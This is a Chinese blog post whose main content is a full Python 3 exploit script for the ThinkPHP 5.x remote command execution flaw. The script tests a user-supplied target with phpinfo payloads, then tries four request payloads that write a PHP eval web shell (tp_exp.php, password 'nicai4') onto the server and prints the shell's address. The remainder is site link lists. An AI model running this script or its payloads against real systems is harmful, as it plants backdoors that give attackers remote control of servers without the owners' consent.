python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中使用socket发送HTTP请求数据接收不完整问题解决方法
Feb 04 Python
Python线程详解
Jun 24 Python
使用Python对Access读写操作
Mar 30 Python
Python编程实战之Oracle数据库操作示例
Jun 21 Python
python使用正则表达式的search()函数实现指定位置搜索功能
Nov 10 Python
django js实现部分页面刷新的示例代码
May 28 Python
浅谈python中对于json写入txt文件的编码问题
Jun 07 Python
Numpy之reshape()使用详解
Dec 26 Python
python安装dlib库报错问题及解决方法
Mar 16 Python
公认8个效率最高的爬虫框架
Jul 28 Python
python Zmail模块简介与使用示例
Dec 19 Python
一个入门级python爬虫教程详解
Jan 27 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
PHP的SQL注入过程分析
2012/01/06 PHP
PHP批量生成静态HTML的简单原理和方法
2014/04/20 PHP
php防止sql注入简单分析
2015/03/18 PHP
ThinkPHP中limit()使用方法详解
2016/04/19 PHP
PHP生成各种随机验证码的方法总结【附demo源码】
2017/06/05 PHP
PHP图像处理技术实例总结【绘图、水印、验证码、图像压缩】
2018/12/08 PHP
php+Ajax无刷新验证用户名操作实例详解
2019/03/04 PHP
thinkPHP5框架路由常用知识点汇总
2019/09/15 PHP
JS BASE64编码 window.atob(), window.btoa()
2021/03/09 Javascript
不错的新闻标题颜色效果
2006/12/10 Javascript
jQuery之$(document).ready()使用介绍
2012/04/05 Javascript
JQuery实现绚丽的横向下拉菜单
2013/12/19 Javascript
js事件监听机制(事件捕获)总结
2014/08/08 Javascript
AngularJS入门教程(一):静态模板
2014/12/06 Javascript
深入理解JavaScript系列(46):代码复用模式(推荐篇)详解
2015/03/04 Javascript
javascript中闭包(Closure)详解
2016/01/06 Javascript
AngularJs  unit-testing(单元测试)详解
2016/09/02 Javascript
基于javascript实现按圆形排列DIV元素(一)
2016/12/02 Javascript
使用Javascript简单计算器
2018/11/17 Javascript
JS实现的排列组合算法示例
2019/07/16 Javascript
vuejs中父子组件之间通信方法实例详解
2020/01/17 Javascript
Python中的数据对象持久化存储模块pickle的使用示例
2016/03/03 Python
Python中join函数简单代码示例
2018/01/09 Python
Python搭建FTP服务器的方法示例
2018/01/19 Python
深入浅析python变量加逗号,的含义
2020/02/22 Python
Django Channel实时推送与聊天的示例代码
2020/04/30 Python
tensorflow pb to tflite 精度下降详解
2020/05/25 Python
部署Django到阿里云服务器教程示例
2020/06/03 Python
Turnbull & Asser官网:英国皇室御用的顶级定制衬衫
2019/01/31 全球购物
英国婴儿及儿童产品商店:TigerParrot
2019/03/04 全球购物
新大陆软件面试题
2016/11/24 面试题
优秀驾驶员先进事迹材料
2014/05/04 职场文书
社团活动总结书
2014/06/27 职场文书
逃课检讨书范文
2015/05/06 职场文书
Pytorch中的数据集划分&正则化方法
2021/05/27 Python
「SHOW BY ROCK!!」“雫シークレットマインド”组合单曲MV公开
2022/03/21 日漫